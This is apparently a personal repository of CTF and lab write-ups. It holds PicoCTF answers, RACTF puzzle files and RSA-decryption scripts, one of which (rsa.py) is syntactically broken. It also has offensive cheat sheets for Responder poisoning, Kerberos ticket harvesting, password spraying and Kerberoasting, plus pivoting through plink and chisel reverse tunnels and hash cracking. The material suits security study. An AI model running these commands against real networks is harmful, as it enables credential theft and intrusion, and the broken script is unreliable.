├── .gitignore
├── CTF
├── PicoCTF
│ ├── README.md
│ └── TOCHECK.md
└── ractf
│ ├── 01
│ ├── Mysterious Masquerading Message.md
│ ├── SDN.py
│ ├── encrypt.txt
│ ├── id_rsa
│ ├── main.c
│ ├── rsa.py
│ ├── rsa2.py
│ └── teleport.py
├── CheatSheet
├── AD.md
├── Offensive-PS.md
├── Pivoting.md
├── Vuln-scan
│ └── openVAS.md
├── cracking.md
├── enum.md
├── etc.md
└── kali-setup.md
├── HackTheBox
├── EZ
│ ├── arctic.md
│ ├── bashed.md
│ ├── bastion.md
│ ├── beep.md
│ ├── blocky.md
│ ├── blue.md
│ ├── devel.md
│ ├── forest.md
│ ├── friendzone.md
│ ├── grandpa.md
│ ├── granny.md
│ ├── irked.md
│ ├── jerry.md
│ ├── lame.md
│ ├── legacy.md
│ ├── networked.md
│ ├── nibbles.md
│ ├── openadmin.md
│ ├── optimum.md
│ ├── popcorn.md
│ ├── postman.md
│ ├── sense.md
│ ├── shocky.md
│ ├── swagshop.md
│ ├── traverxec.md
│ └── valentine.md
├── Hard
│ └── brainfuck.md
├── Medium
│ ├── b64decode.py
│ └── poison.md
└── pic
│ └── beep.png
├── NOTE
├── Active Directory basic.md
├── Attacking Kerberos.md
├── BurpSuite.md
├── SAMBA.md
├── ad
│ ├── README.md
│ └── attack_vectors.md
├── exploitation_basic.md
├── pics
│ ├── Screenshot 2020-06-09 at 03.35.21.png
│ ├── Screenshot 2020-06-18 at 02.39.25.png
│ ├── Screenshot 2020-06-18 at 02.51.30.png
│ ├── Screenshot 2020-06-18 at 02.55.18.png
│ ├── Screenshot 2020-06-18 at 02.56.46.png
│ ├── Screenshot 2020-06-18 at 17.09.43.png
│ ├── Screenshot 2020-06-21 at 23.46.45.png
│ ├── Screenshot 2020-06-25 at 17.33.44.png
│ ├── Screenshot 2020-06-25 at 22.31.39.png
│ ├── Screenshot 2020-06-25 at 22.32.01.png
│ ├── enumerating_ssh.png
│ ├── reverse.png
│ └── transfer.png
├── recon.md
├── scanning_enumeration.md
└── window-privesc
│ ├── 1-enumerate.md
│ ├── 2-automated-tools.md
│ └── 3-kernel-exploitation.md
├── OverTheWire
├── Bandit
│ └── README.md
└── README.md
├── PortSwigger
├── HTTP Host header attacks.md
└── Information disclosure.md
├── README.md
├── TryHackMe
├── Bounty-hacker.md
├── Easy-Peasy.md
├── Easy
│ ├── AdventOfCyber
│ │ ├── README.md
│ │ ├── day16.py
│ │ ├── files.zip
│ │ ├── final-final-compressed.zip
│ │ └── getflag.py
│ ├── AdventOfCyber2
│ │ ├── Day1.md
│ │ ├── Day10.md
│ │ ├── Day11.md
│ │ ├── Day12.md
│ │ ├── Day13.md
│ │ ├── Day14.md
│ │ ├── Day2.md
│ │ ├── Day3.md
│ │ ├── Day4.md
│ │ ├── Day5.md
│ │ ├── Day7.md
│ │ ├── Day8.md
│ │ └── Day9.md
│ ├── Agent-sudo.md
│ ├── Alfred.md
│ ├── Anthem.md
│ ├── B99.md
│ ├── Badbyte1.md
│ ├── Blue.md
│ ├── Break Out The Cage.md
│ ├── CrackTheHash.md
│ ├── Hydra.md
│ ├── Inclusion.md
│ ├── Injection.md
│ ├── JuiceShop.md
│ ├── Kenobi.md
│ ├── LianYu.md
│ ├── Linux-Challenges.md
│ ├── OWASP-Top-10.md
│ ├── OverPass.md
│ ├── Overpass-2.md
│ ├── Pickle-Rick.md
│ ├── Pokemon.md
│ ├── PostExploitationBasics.md
│ ├── RP: Metasploit.md
│ ├── RP:Nmap.md
│ ├── Smag-Grotto.md
│ ├── Steel-Mountain.md
│ ├── XXE.md
│ ├── ad.md
│ ├── bolt.md
│ ├── gamezone.md
│ ├── gaming-server.md
│ ├── git_happen.md
│ ├── ice.md
│ ├── kiba.md
│ ├── madness_beginner.md
│ ├── rootme.md
│ ├── skynet.md
│ ├── smaggrotto.md
│ ├── startup.md
│ ├── sudovulnsbof.md
│ ├── sudovulnsbypass.md
│ ├── tartarus.md
│ ├── tomghost.md
│ └── vulnUniversity.md
├── Hard
│ ├── Daily-Bugle.md
│ └── Jack.md
├── Medium
│ ├── Anonymous.md
│ ├── Blog.md
│ ├── BoilerCTF.md
│ ├── HackPark.md
│ ├── Harder.md
│ ├── LinuxPrivEsc
│ │ ├── README.md
│ │ ├── bash_blackdoor.sh
│ │ ├── library_path.c
│ │ ├── preload.c
│ │ └── spawn_bash.c
│ ├── Wonderland.md
│ ├── biohazard.md
│ ├── ctf100.md
│ ├── dogcat.md
│ ├── gatekeeper.md
│ ├── hackerNote.md
│ ├── joker.md
│ ├── mr_robot.md
│ ├── peakhill.md
│ ├── webappsec101.md
│ └── wwbuddy.md
├── Throwback
│ ├── CORPORATE.LOCAL
│ │ ├── ADT01.md
│ │ └── DC01.md
│ ├── FW01.md
│ ├── README.md
│ ├── THROWBACK.LOCAL
│ │ ├── DC01.md
│ │ ├── MAIL.md
│ │ ├── PROD.md
│ │ ├── TIME.md
│ │ └── WS01.md
│ ├── pic
│ │ └── topo.png
│ └── user.md
└── pic
│ ├── Screenshot 2020-07-01 at 20.27.20.png
│ ├── Screenshot 2020-07-01 at 20.29.45.png
│ ├── Screenshot 2020-07-01 at 21.51.16.png
│ ├── Screenshot 2020-07-04 at 21.44.54.png
│ ├── Screenshot 2020-07-04 at 22.26.02.png
│ ├── Screenshot 2020-07-05 at 13.22.12.png
│ ├── Screenshot 2020-07-05 at 13.25.30.png
│ ├── Screenshot 2020-07-05 at 13.27.02.png
│ ├── Screenshot 2020-07-05 at 13.39.02.png
│ ├── Screenshot 2020-07-14 at 23.43.20.png
│ ├── Screenshot 2020-07-14 at 23.43.27.png
│ ├── Screenshot 2020-07-14 at 23.43.34.png
│ ├── Screenshot 2020-07-14 at 23.43.41.png
│ ├── Screenshot 2020-07-17 at 15.09.11.png
│ ├── Screenshot 2020-07-17 at 20.40.46.png
│ ├── Screenshot 2020-07-18 at 19.57.57.png
│ ├── Screenshot 2020-07-18 at 20.20.56.png
│ ├── Screenshot 2020-07-27 at 12.32.50.png
│ ├── Screenshot 2020-08-01 at 16.16.24.png
│ ├── Screenshot 2020-08-01 at 16.27.25.png
│ ├── Screenshot 2020-08-01 at 17.25.20.png
│ ├── Screenshot 2020-08-07 at 19.42.36.png
│ ├── Screenshot 2020-08-07 at 19.43.14.png
│ ├── Screenshot 2020-08-08 at 16.44.37.png
│ ├── Screenshot 2020-08-19 at 15.47.18.png
│ ├── Screenshot 2020-08-20 at 12.51.55.png
│ ├── Screenshot 2020-08-20 at 18.06.57.png
│ ├── capture-1.png
│ ├── pwfeedback-demo.png
│ └── sudo-demo.png
└── meAndMyGf1
├── README.md
└── pic
├── alice.png
├── button.png
├── home.png
├── html.png
├── profile.png
└── target.png
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | .code-workspace
3 |
4 | writeUp.code-workspace
5 |
6 |
7 | TryHackMe/AdventOfCyber/final-final-compressed.zip
8 |
9 | TryHackMe/AdventOfCyber/extracted/
10 |
11 | TryHackMe/AdventOfCyber/final-final-compressed/
12 |
13 | .vscode/.ropeproject/config.py
14 |
15 | .vscode/.ropeproject/objectdb
16 |
17 | TryHackMe/AdventOfCyber/files.zip
18 |
19 | TryHackMe/AdventOfCyber/files/challenge1
20 |
21 | TryHackMe/AdventOfCyber/files/file1
22 |
23 | TryHackMe/pic/Search | Splunk 8.0.5-filer/
24 |
25 | TryHackMe/Easy/AdventOfCyber/extracted/
26 |
27 | TryHackMe/Easy/AdventOfCyber/files/
28 |
29 | TryHackMe/Easy/AdventOfCyber/final-final-compressed/
30 |
31 | HackTheBox/Easy/
32 |
33 | HackTheBox/buff.md
34 |
35 | HackTheBox/docter.md
36 |
37 | CTF/pic/Screenshot 2020-10-07 at 20.50.42.png
38 |
39 | CTF/juicebox.md
40 |
--------------------------------------------------------------------------------
/CTF/PicoCTF/README.md:
--------------------------------------------------------------------------------
1 | # Bases
2 | ```console
3 | kuroHat@pico-2019-shell1:~$ echo 'bDNhcm5fdGgzX3IwcDM1' | base64 -d
4 | l3arn_th3_r0p35
5 | ```
6 |
7 | # Fist grep
8 | ```console
9 | cd /problems/first-grep_1_6788154ca7ee937f569985ff397203b6
10 | kuroHat@pico-2019-shell1:/problems/first-grep_1_6788154ca7ee937f569985ff397203b6$ cat file | grep picoCTF
11 | picoCTF{grep_is_good_to_find_things_205b65d7}
12 | ```
13 | # dont-use-client-side
14 | ```js
15 | if (checkpass.substring(0, split) == 'pico') {
16 | if (checkpass.substring(split*6, split*7) == 'a60f') {
17 | if (checkpass.substring(split, split*2) == 'CTF{') {
18 | if (checkpass.substring(split*4, split*5) == 'ts_p') {
19 | if (checkpass.substring(split*3, split*4) == 'lien') {
20 | if (checkpass.substring(split*5, split*6) == 'lz_4') {
21 | if (checkpass.substring(split*2, split*3) == 'no_c') {
22 | if (checkpass.substring(split*7, split*8) == '3}') {
23 | alert("Password Verified")
24 | }
25 | }
26 | }
27 |
28 | }
29 | }
30 | }
31 | }
32 | }
33 | ```
34 | ```picoCTF{no_clients_plz_4a60f3}```
35 |
36 |
--------------------------------------------------------------------------------
/CTF/PicoCTF/TOCHECK.md:
--------------------------------------------------------------------------------
1 | ```console
2 | pidof
3 | pkill
4 | nikto
5 | ```
6 |
7 |
8 |
--------------------------------------------------------------------------------
/CTF/ractf/01:
--------------------------------------------------------------------------------
1 | LHFKM GMRHC FLMMJ ULXFY JOUFC
2 | FQFXF ZJOKP JOMMU LMRJT FFTBA
3 | JYFFR JZFXG AWJCB ULXFI FFKRF
4 | KPGKH RFWCF MTFRR LHFRI FMQFF
5 | KFLWU JMUFC IOMMU FYCFF KWCYB
6 | MFPQF CFHJG KHMJK FFPMJ PFWCY
7 | BMMUF TMJQJ CVJOM GZMUF CFRRJ
8 | TFMUG KHGAA FHLAH JGKHJ KLKPH
9 | FMMUF TLCCF RMFPK JCTLA YMUFW
10 | CYBMJ HCLBU YMFLT QJOAP PJMUG
11 | RIOMM UFYXF LAAPF WGPFP LMMUF
12 | RLTFM GTFMJ HJJKL KOLAA FLXFI
13 | FRMJZ AOWVL HFKMI MUFRF WCFMW
14 | JPFGR PJWOT FKMR
--------------------------------------------------------------------------------
/CTF/ractf/Mysterious Masquerading Message.md:
--------------------------------------------------------------------------------
1 | tbbq yhpx:)
2 |
3 | -----BEGIN OPENSSH PRIVATE KEY-----
4 | SWYgeW91IGFyZSByZWFkaW5nIHRoaXMsIHRoZW4geW91IHByb2JhYmx5IGZ
5 | pZ3VyZWQgb3V0IHRoYXQgaXQgd2Fzbid0IGFjdHVhbGx5IGFuIFNTSCBrZX
6 | kgYnV0IGEgZGlzZ3Vpc2UuIFNvIHlvdSBoYXZlIG1hZGUgaXQgdGhpcyBmY
7 | XIgYW5kIGZvciB0aGF0IEkgc2F5IHdlbGwgZG9uZS4gSXQgd2Fzbid0IHZl
8 | cnkgaGFyZCwgdGhhdCBJIGtub3csIGJ1dCBuZXZlcnRoZWxlc3MgeW91IGh
9 | hdmUgc3RpbGwgbWFkZSBpdCBoZXJlIHNvIGNvbmdyYXRzLiBOb3cgeW91IG
10 | FyZSBwcm9iYWJseSByZWFkaW5nIHRoaXMgYW5kIHRoaW5raW5nIGFib3V0I
11 | GFubm95aW5nIHRoZSBwZXJzb24gd2hvIG1hZGUgdGhpcywgYW5kIHlvdSB3
12 | YW50IHRvIHJlYWQgdGhlIHdob2xlIHRoaW5nIHRvIGNoZWNrIGZvciBjbHV
13 | lcywgYnV0IHlvdSBjYW50IGZpbmQgYW55LiBZb3UgYXJlIHN0YXJ0aW5nIH
14 | RvIGdldCBmcnVzdHJhdGVkIGF0IHRoZSBwZXJzb24gd2hvIG1hZGUgdGhpc
15 | yBhcyB0aGV5IHN0aWxsIGhhdmVuJ3QgbWVudGlvbmVkIGFueXRoaW5nIHRv
16 | IGRvIHdpdGggdGhlIGNoYWxsZW5nZSwgZXhjZXB0ICJ3ZWxsIGRvbmUgeW9
17 | 1IGhhdmUgZ290IHRoaXMgZmFyIi4gWW91IHN0YXJ0IHNsYW1taW5nIGRlc2
18 | tzLCBhbmQgc29vbiB0aGUgbW9uaXRvciB3aWxsIGZvbGxvdy4gWW91IGFyZ
19 | SB3b25kZXJpbmcgd2hlcmUgdGhpcyBpcyBnb2luZyBhbmQgcmVhbGlzaW5n
20 | IGl0J3MgY29taW5nIHRvIHRoZSBlbmQgb2YgdGhlIHBhcmFncmFwaCwgYW5
21 | kIHlvdSBtaWdodCBub3QgaGF2ZSBzZWVuIGFueXRoaW5nLiBJIGhhdmUgZ2
22 | l2ZW4geW91IHNvbWUgdGhpbmdzLCBhbHRob3VnaCB5b3Ugd2lsbCBuZWVkI
23 | HNvbWV0aGluZyBlbHNlIGFzIHdlbGwgZ29vZCBsdWNrLiAKNjk2ZTY1NjU2
24 | NDc0NmY2ZjcwNjU2ZTZjNmY2MzZiNzMKNjk2ZTY5NzQ2OTYxNmM2OTczNjE
25 | 3NDY5NmY2ZTMxMzI=
26 | -----END OPENSSH PRIVATE KEY-----
27 |
28 |
29 |
30 | 00111001 00110000 00111001 00111000 00111000 01100011 00111001 01100010
31 | 01100101 01100110 01100101 00110101 01100101 01100001 00110011 01100110
32 | 00110101 01100001 00111001 00110001 01100101 01100110 01100110 01100101
33 | 00110000 00110011 00110000 00110110 00110000 01100001 00111000 00110111
34 | 00110001 00110100 01100100 01100110 01100011 00110010 00110000 00110000
35 | 00111000 00111000 00110100 00110001 00110101 00110101 00110111 00110000
36 | 01100010 00110011 00111001 00110100 01100011 01100101 00111001 01100011
37 | 01100100 00110011 00110010 01100010 01100101 00110111 00110001 00111000
38 |
39 | 90988c9befe5ea3f5a91effe03060a8714dfc20088415570b394ce9cd32be718
40 |
41 |
--------------------------------------------------------------------------------
/CTF/ractf/SDN.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kurohat/writeUp/438003d46e13c27bcafb4136b75344c2af39f762/CTF/ractf/SDN.py
--------------------------------------------------------------------------------
/CTF/ractf/encrypt.txt:
--------------------------------------------------------------------------------
1 | 90988c9befe5ea3f5a91effe03060a8714dfc20088415570b394ce9cd32be718
--------------------------------------------------------------------------------
/CTF/ractf/id_rsa:
--------------------------------------------------------------------------------
1 | -----BEGIN PRIVATE KEY-----
2 | SWYgeW91IGFyZSByZWFkaW5nIHRoaXMsIHRoZW4geW91IHByb2JhYmx5IGZ
3 | pZ3VyZWQgb3V0IHRoYXQgaXQgd2Fzbid0IGFjdHVhbGx5IGFuIFNTSCBrZX
4 | kgYnV0IGEgZGlzZ3Vpc2UuIFNvIHlvdSBoYXZlIG1hZGUgaXQgdGhpcyBmY
5 | XIgYW5kIGZvciB0aGF0IEkgc2F5IHdlbGwgZG9uZS4gSXQgd2Fzbid0IHZl
6 | cnkgaGFyZCwgdGhhdCBJIGtub3csIGJ1dCBuZXZlcnRoZWxlc3MgeW91IGh
7 | hdmUgc3RpbGwgbWFkZSBpdCBoZXJlIHNvIGNvbmdyYXRzLiBOb3cgeW91IG
8 | FyZSBwcm9iYWJseSByZWFkaW5nIHRoaXMgYW5kIHRoaW5raW5nIGFib3V0I
9 | GFubm95aW5nIHRoZSBwZXJzb24gd2hvIG1hZGUgdGhpcywgYW5kIHlvdSB3
10 | YW50IHRvIHJlYWQgdGhlIHdob2xlIHRoaW5nIHRvIGNoZWNrIGZvciBjbHV
11 | lcywgYnV0IHlvdSBjYW50IGZpbmQgYW55LiBZb3UgYXJlIHN0YXJ0aW5nIH
12 | RvIGdldCBmcnVzdHJhdGVkIGF0IHRoZSBwZXJzb24gd2hvIG1hZGUgdGhpc
13 | yBhcyB0aGV5IHN0aWxsIGhhdmVuJ3QgbWVudGlvbmVkIGFueXRoaW5nIHRv
14 | IGRvIHdpdGggdGhlIGNoYWxsZW5nZSwgZXhjZXB0ICJ3ZWxsIGRvbmUgeW9
15 | 1IGhhdmUgZ290IHRoaXMgZmFyIi4gWW91IHN0YXJ0IHNsYW1taW5nIGRlc2
16 | tzLCBhbmQgc29vbiB0aGUgbW9uaXRvciB3aWxsIGZvbGxvdy4gWW91IGFyZ
17 | SB3b25kZXJpbmcgd2hlcmUgdGhpcyBpcyBnb2luZyBhbmQgcmVhbGlzaW5n
18 | IGl0J3MgY29taW5nIHRvIHRoZSBlbmQgb2YgdGhlIHBhcmFncmFwaCwgYW5
19 | kIHlvdSBtaWdodCBub3QgaGF2ZSBzZWVuIGFueXRoaW5nLiBJIGhhdmUgZ2
20 | l2ZW4geW91IHNvbWUgdGhpbmdzLCBhbHRob3VnaCB5b3Ugd2lsbCBuZWVkI
21 | HNvbWV0aGluZyBlbHNlIGFzIHdlbGwgZ29vZCBsdWNrLiAKNjk2ZTY1NjU2
22 | NDc0NmY2ZjcwNjU2ZTZjNmY2MzZiNzMKNjk2ZTY5NzQ2OTYxNmM2OTczNjE
23 | 3NDY5NmY2ZTMxMzI=
24 | -----END PRIVATE KEY-----
--------------------------------------------------------------------------------
/CTF/ractf/main.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | // This challenge should be a fun one!
4 |
5 | // Compile with
6 | // gccmain.c
7 | // then run with
8 | // ./a.out
9 |
10 |
11 | int main()
12 |
13 | {
14 |
15 | int show_the_flag = 0;
16 |
17 | // Pull in the flag using some pre-processor hacks!
18 |
19 | char *flag =
20 |
21 | #include "flag.txt"
22 |
23 | ;
24 |
25 | if (show_the_flag)
26 |
27 | {
28 |
29 | printf(
30 |
31 | flag
32 |
33 | );
34 |
35 | }
36 |
37 | else
38 | {
39 | while(1)
40 |
41 | {
42 |
43 | printf(
44 |
45 | "Youneedtofindtheflag!"
46 |
47 | );
48 |
49 | }
50 |
51 | }
52 |
53 | printf(
54 |
55 | "Something went wrong!"
56 |
57 | );
58 |
59 | return 0;
60 |
61 | }
62 |
63 |
--------------------------------------------------------------------------------
/CTF/ractf/rsa.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 |
3 | # p = 12736417496736655442602617267963357620825841853712732906895398885696709839309257918168226091994953634497776446017624975845723070057111835461641254269269317
4 | # q = 12812745834802942067887996082863564857775464236327866229873820064310547028668532363402551825083254446602822350152834784435994127878640673106783300383715213
5 |
6 | # e = 65537
7 |
8 | # ct = 36164077670048236315620165241501158490714780378828495489466034792516124438008544795706435407727196245542440722207946911741455419825341977882668518715641221655547701335758290288192516019599540143387244434109169262921709528678398951068201747253902131176016425711977353198578765688585598616779744281471591815486
9 |
10 | p = 1299811
11 | q = 1299827
12 |
13 | 1416088155477,1187894346607,1187894346607,1012248725317,1642686319107, 1299736156328, 1176348111078, 1566932379421, 976078105770,1041712991086,976078105770,164477670995,1176348111078,1533726616075,457718175500, 766162619069 ]
14 |
15 | def egcd(a, b):
16 | if a == 0:
17 | return (b, 0, 1)
18 | else:
19 | g, y, x = egcd(b % a, a)
20 | return (g, x - (b // a) * y, y)
21 |
22 | def modinv(a, m):
23 | g, x, y = egcd(a, m)
24 | if g != 1:
25 | raise Exception('modular inverse does not exist')
26 | else:
27 | return x % m
28 |
29 | totient = (p - 1) * (q - 1)
30 | n = p * q
31 | # print(n)
32 | d = modinv(e,totient)
33 | m = pow(ct, d, n)
34 | flag = unhex(hex(m)[2:])
35 | print('hex: '+hex(m))
36 | print('get only hex code: '+hex(m)[2:])
37 | print('unhex it: '+flag.decode())
38 |
--------------------------------------------------------------------------------
/CTF/ractf/rsa2.py:
--------------------------------------------------------------------------------
1 | # n = 1209143407476550975641959824312993703149920344437422193042293131572745298662696284279928622412441255652391493241414170537319784298367821654726781089600780498369402167443363862621886943970468819656731959468058528787895569936536904387979815183897568006750131879851263753496120098205966442010445601534305483783759226510120860633770814540166419495817666312474484061885435295870436055727722073738662516644186716532891328742452198364825809508602208516407566578212780807
2 | e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
3 | ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182
4 |
5 |
6 | #http://factordb.com/index.php?query=58900433780152059829684181006276669633073820320761216330291745734792546625247
7 |
8 | p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
9 | q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
10 | from pwn import *
11 |
12 | def egcd(a, b):
13 | if a == 0:
14 | return (b, 0, 1)
15 | else:
16 | g, y, x = egcd(b % a, a)
17 | return (g, x - (b // a) * y, y)
18 |
19 | def modinv(a, m):
20 | g, x, y = egcd(a, m)
21 | if g != 1:
22 | raise Exception('modular inverse does not exist')
23 | else:
24 | return x % m
25 |
26 | n = p*q
27 | totient = (p - 1) * (q - 1)
28 | d = modinv(e,totient)
29 | m = pow(ct, d, n)
30 |
31 | flag = unhex(hex(m)[2:])
32 | print('plaintext: '+flag.decode())
--------------------------------------------------------------------------------
/CTF/ractf/teleport.py:
--------------------------------------------------------------------------------
1 | import math
2 |
3 | x = 0.0
4 | z = 0.0
5 | flag_x = 10000000000000.0
6 | flag_z = 10000000000000.0
7 | print("Your player is at 0,0")
8 | print("The flag is at 10000000000000, 10000000000000")
9 | print("Enter your next position in the form x,y")
10 | print("You can move a maximum of 10 metres at a time")
11 | for _ in range(100):
12 | print(f"Current position: {x}, {z}")
13 | try:
14 | move = input("Enter next position(maximum distance of 10): ").split(",")
15 | new_x = float(move[0])
16 | new_z = float(move[1])
17 | except Exception:
18 | continue
19 | diff_x = new_x - x
20 | diff_z = new_z - z
21 | dist = math.sqrt(diff_x ** 2 + diff_z ** 2)
22 | print(dist)
23 | if dist > 10:
24 | print("You moved too far")
25 | else:
26 | x = new_x
27 | z = new_z
28 | if x == 10000000000000 and z == 10000000000000:
29 | print("ractf{#####################}")
30 | break
31 |
32 |
--------------------------------------------------------------------------------
/CheatSheet/AD.md:
--------------------------------------------------------------------------------
1 | # responder
2 | ```console
3 | $ cat /etc/responder/Responder.conf | grep SMB #if OFF change to ON
4 | SMB = ON
5 | $ sudo responder -I tun0 -rdw -v
6 | ```
7 | - r: switch enables netbios wredir suffix queries
8 | - d: switch enables netbios domain suffix querie
9 | - w: switch starts the wpad rogue proxy server
10 | - v: verbose
11 |
12 | # Attacking Kerberos
13 | ## kerbrute: user enum
14 | ```Console
15 | $ ./kerbrute userenum --dc example.local -d example.local users.txt
16 | ```
17 | https://github.com/GhostPack/Rubeus
18 | ## Harvesting Tickets
19 | on victim machine
20 | ```powershell
21 | $ ./Rubeus.exe harvest /interval:30 # harvest for TGTs every 30 seconds
22 | ```
23 | ## Brute-Forcing / Password-Spraying
24 | Before password spraying with Rubeus, you need to add the domain controller domain name to the windows host file. You can add the IP and domain name to the hosts file from the machine by using the echo command: ```echo example.local >> C:\Windows\System32\drivers\etc\hosts```
25 | ```powershell
26 | $ ./Rubeus.exe brute /password: /noticket # This will take a given password and "spray" it against all found users then give the .kirbi TGT for that user
27 | ```
28 | # Kerberoasting
29 | on kali, `hashcat -m 13100`
30 | ## Rubeus
31 | on victim machine
32 | ```powershell
33 | $ ./Rubeus.exe kerberoast
34 | ```
35 | ## Impacket
36 | ```console
37 | $ sudo python3 GetUserSPNs.py example.local/username:password -dc-ip $IP -request
38 | ```
39 | # AS-REP Roasting
40 | on kali, `hashcat -m 18200`
41 | ## Rubeus
42 | on victim machine
43 | ```powershell
44 | $ ./Rubeus.exe asreproast
45 | ```
--------------------------------------------------------------------------------
/CheatSheet/Offensive-PS.md:
--------------------------------------------------------------------------------
1 | # Table of Contents
2 | - [Table of Contents](#table-of-contents)
3 | - [intro](#intro)
4 | - [importing modules](#importing-modules)
5 | - [Get-ADDomain](#get-addomain)
6 | - [Get-ADForest](#get-adforest)
7 | - [Get-ADTrust](#get-adtrust)
8 | - [PowerView](#powerview)
9 | - [Get-NetDomain](#get-netdomain)
10 | - [Get-NetDomainController](#get-netdomaincontroller)
11 | - [Get-NetForest](#get-netforest)
12 | - [Get-NetDomainTrust](#get-netdomaintrust)
13 |
14 | # intro
15 | ## importing modules
16 | start by importing `ActiveDirectory` Module
17 | ```
18 | Import-Module
19 | Import-Module ActiveDirectory
20 | . .\Module.ps1
21 | ```
22 | ## Get-ADDomain
23 | - list all of the Domain Controllers for a given environment, tell you the NetBIOS Domain name, the FQDN (Fully Qualified Domain name)
24 | ```
25 | Get-ADDomain
26 | Get-ADDomain | Select-Object NetBIOSName, DNSRoot, InfrastructureMaster # filtering
27 | ```
28 | ## Get-ADForest
29 | pulls all the Domains within a Forest and lists them out to the user. This may be useful if a bidirectional trust is setup, it may allow you to gain a foothold in another domain on the LAN. Just like Get-ADDomain
30 | ```
31 | Get-ADForest
32 | Get-ADForest | Select-Object Domains
33 | ```
34 | ## Get-ADTrust
35 | Get-ADTrust provides a ton of information about the Trusts within the AD Domain. It can tell you if it’s a one way or bidirectional trust, who the source is, who the target is, and much more.
36 | ```
37 | Get-ADTrust -Filter * | Select-Object Direction,Source,Target
38 | ```
39 | # PowerView
40 | - https://github.com/PowerShellMafia/PowerSploit
41 | - kali: `/usr/share/windows-resources/powersploit`
42 | ```console
43 | $ Import-Module .\PowerView.ps1
44 | ```
45 | ## Get-NetDomain
46 | Basic info such as the Forest, Domain Controllers, and Domain Name are enumerated.
47 | ```console
48 | $ Get-NetDomain
49 | ```
50 | ## Get-NetDomainController
51 | list all of the Domain Controllers within the network. This is incredibly useful for initial reconnaissance, especially if you do not have a Windows device that’s joined to the domain.
52 | ```console
53 | $ Get-NetDomainController
54 | ```
55 | ## Get-NetForest
56 | It provides all the associated Domains, the root domain, as well as the Domain Controllers for the root domain.
57 | ```console
58 | $ Get-NetForest
59 | ```
60 | ## Get-NetDomainTrust
61 | Get-NetDomainTrust is similar to Get-ADTrust with our SelectObject filter applied to it. It’s short, sweet and to the point!
62 | ```console
63 | $ Get-NetDomainTrust
64 | ```
--------------------------------------------------------------------------------
/CheatSheet/Pivoting.md:
--------------------------------------------------------------------------------
1 | # msfconsole
2 | * meterpreter session is requried
3 | ## Auto-Routing
4 | ```
5 | background
6 | use post/multi/manage/autoroute
7 | set SESSION X
8 | set SUBNET x.x.x.0
9 | exploit
10 | ```
11 | ## Setting up a Proxy
12 | 1. use `auxiliary/server/socks4a`
13 | 2. (optional) Change you port, you can either keep the default 1080 port or change it to an open port of your choice.
14 | 3. `run`
15 |
16 | # Proxy Chain
17 | 1. sudo nano /etc/proxychains.conf > socks4 socks4 127.0.0.1
18 | 1. the same port that you specify when `auxiliary/server/socks4a`
19 | 2. now run `proxychains `
20 |
21 | # plink.exe
22 | ```
23 | plink.exe -ssh -l kali -pw kali -N -R 10.10.14.43:8888:127.0.0.1:8888 10.10.14.43
24 | ```
25 |
26 | # chisel.exe
27 | ```
28 | ./chisel.exe client 10.10.14.43:8080 R:8888:127.0.0.1:8888
29 | ./chisel.exe client 10.10.14.43:8888 R:8888:127.0.0.1:8888
30 | ./chisel client 10.10.14.43:8080 R:8888:127.0.0.1:8888
31 | ```
--------------------------------------------------------------------------------
/CheatSheet/Vuln-scan/openVAS.md:
--------------------------------------------------------------------------------
1 | # installing
2 | ```console
3 | root@kali:~# apt-get update
4 | root@kali:~# apt-get dist-upgrade
5 | root@kali:~# sudo apt install gvm -y # sudo apt install openvas -y
6 | root@kali:~# sudo gvm-setup
7 | ```
8 | **user admin:password is create here, copy ur password and save it somewhere**
9 |
10 | Once gvm-setup completes its process, the OpenVAS manager, scanner, and GSAD services should be listening:
11 | ```console
12 | root@kali:~# netstat -antp # should shows the output below
13 | Active Internet connections (servers and established)
14 | Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
15 | tcp 0 0 127.0.0.1:9390 0.0.0.0:* LISTEN 9583/openvasmd
16 | tcp 0 0 127.0.0.1:9391 0.0.0.0:* LISTEN 9570/openvassd: Wai
17 | tcp 0 0 127.0.0.1:9392 0.0.0.0:* LISTEN 9596/gsad
18 | ```
19 | # using
20 | ```
21 | root@kali:~# openvas-start
22 | root@kali:~# openvas-stop
23 | ```
24 |
25 | gvmd --create-user=kali --password=kali --role=Admin
26 |
27 | - resource
28 | - [installing](https://www.kali.org/penetration-testing/openvas-vulnerability-scanning/)
29 | - https://dannyda.com/2020/08/07/how-to-fix-openvas-command-not-found-in-kali-linux-2020-2a/
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
--------------------------------------------------------------------------------
/CheatSheet/cracking.md:
--------------------------------------------------------------------------------
1 | # Colabcat
2 | [youtube](https://www.youtube.com/watch?v=pYOncitu7W8) guide how to use this tool. here is what you need to do
3 | 1. Click on `Runtime`, `Change runtime type`, and set `Hardware accelerator` to GPU.
4 | 2. Go to your Google Drive and create a directory called `dothashcat`, with a `hashes` subdirectory where you can store hashes.
5 | 3. Upload [rule](https://github.com/NotSoSecure/password_cracking_rules/blob/master/OneRuleToRuleThemAll.rule) and your hashes in `hashes` subdirectory.
6 | 4. Come back to Google Colab, click on `Runtime` and then `Run all`.
7 | 5. When it asks for a Google Drive *token*, go to the link it provides and authenticate with your Google Account to get the token
8 | 6. add code cell (`+code`)
9 | 7. run `!bash` and press play button
10 | 8. `cd drive/'My Drive'/dothashcat/hashes` and run hashcat
11 |
12 | # Hashcat
13 | ```console
14 | $ hashcat -m -a 0 -o crack.txt 'hash' /usr/share/wordlists/rockyou.txt --force
15 | $ hashcat -m 13100 -a 0 hash.txt Pass.txt --force # kerberos
16 | ```
17 | # john
18 | ```console
19 | root@kali:~# john -wordlist=/usr/share/wordlists/rockyou.txt
20 | ```
21 |
